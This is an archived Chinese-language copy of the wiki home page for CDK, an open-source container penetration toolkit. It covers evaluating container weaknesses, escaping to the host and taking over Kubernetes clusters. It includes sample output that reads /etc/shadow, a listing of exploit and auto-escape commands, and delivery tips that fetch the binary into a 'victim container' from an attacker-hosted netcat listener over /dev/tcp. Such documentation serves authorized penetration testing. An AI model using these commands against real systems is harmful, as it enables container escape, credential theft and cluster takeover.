添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

CDK 是一个开源的容器渗透工具包,旨在在不依赖任何操作系统的情况下在不同的精简容器中提供稳定的利用。 它带有有用的网络工具和许多强大的 PoCs/EXPs,可以帮助你轻松地逃离容器并接管 K8s 集群。

运行 cdk eva 以获取评估信息和推荐利用,然后运行 cdk run 以开始攻击。

> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

安装/交付

在https://github.com/cdk-team/CDK/releases/下载最新版本

将可执行文件放入目标容器并开始测试。

TIPS:在实际渗透测试中将 CDK 交付到目标容器中

如果你有一个可以上传文件的漏洞,那么你可以直接上传 CDK 二进制文件。

如果你有RCE exploit,但是目标容器没有curlor wget,你可以使用下面的方式下发CDK:

  • 首先,使用公共 IP 在您的主机上托管 CDK 二进制文件。
  • (on your host)
    nc -lvp 999 < cdk
    
  • 在受害者容器内执行
  • cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
    chmod a+x cdk
    
    Usage:
      cdk evaluate [--full]
      cdk run (--list | <exploit> [<args>...])
      cdk <tool> [<args>...]
    Evaluate:
      cdk evaluate                              Gather information to find weakness inside container.
      cdk evaluate --full                       Enable file scan during information gathering.
    Exploit:
      cdk run --list                            List all available exploits.
      cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
    Auto Escape:
      cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.
    Tool:
      vi <file>                                 Edit files in container like "vi" command.
      ps                                        Show process information like "ps -ef" command.
      nc [options]                              Create TCP tunnel.
      ifconfig                                  Show network information.
      kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
      ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
      ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
      probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
    Options:
      -h --help     Show this help msg.
      -v --version  Show version.
    

    CDK具有三个模块:

  • 评估:收集容器内部的信息以发现潜在的弱点。
  • 漏洞利用:用于容器逃逸、持久化和横向移动
  • 工具:用于 TCP/HTTP 请求、隧道和 K8s 集群管理的网络工具和 API。
  • cdk evaluate [--full]
    

    此命令将在不扫描本地文件的情况下运行以下脚本,用于--full启用所有。

    策略脚本支持的用法/示例 操作系统基本信息 可用的 Linux 命令 网络命名空间 敏感的本地文件 Kube-proxy 路由 Localnet(CVE-2020-8558) 基于 DNS 的服务发现 K8s API 服务器信息 K8s服务-账号信息 云提供商元数据 API

    漏洞利用模块

    列出所有可用的漏洞:

    cdk run --list
    

    运行有针对性的利用:

    cdk run <script-name> [options]
    

    关于 Thin 的注意事项:thin 版本为短期容器 shell(例如无服务器功能)准备的。我们在源代码中添加了构建标签并减少了一些漏洞利用以使二进制文件更轻。这个 2MB 的文件包含 90% 的 CDK 功能,您还可以从 CDK 源代码中获取有用的漏洞来构建您自己的轻量级二进制文件。

    像在 Linux 中一样运行命令,输入参数略有不同,请参阅用法链接。

    cdk nc [options]
    cdk ps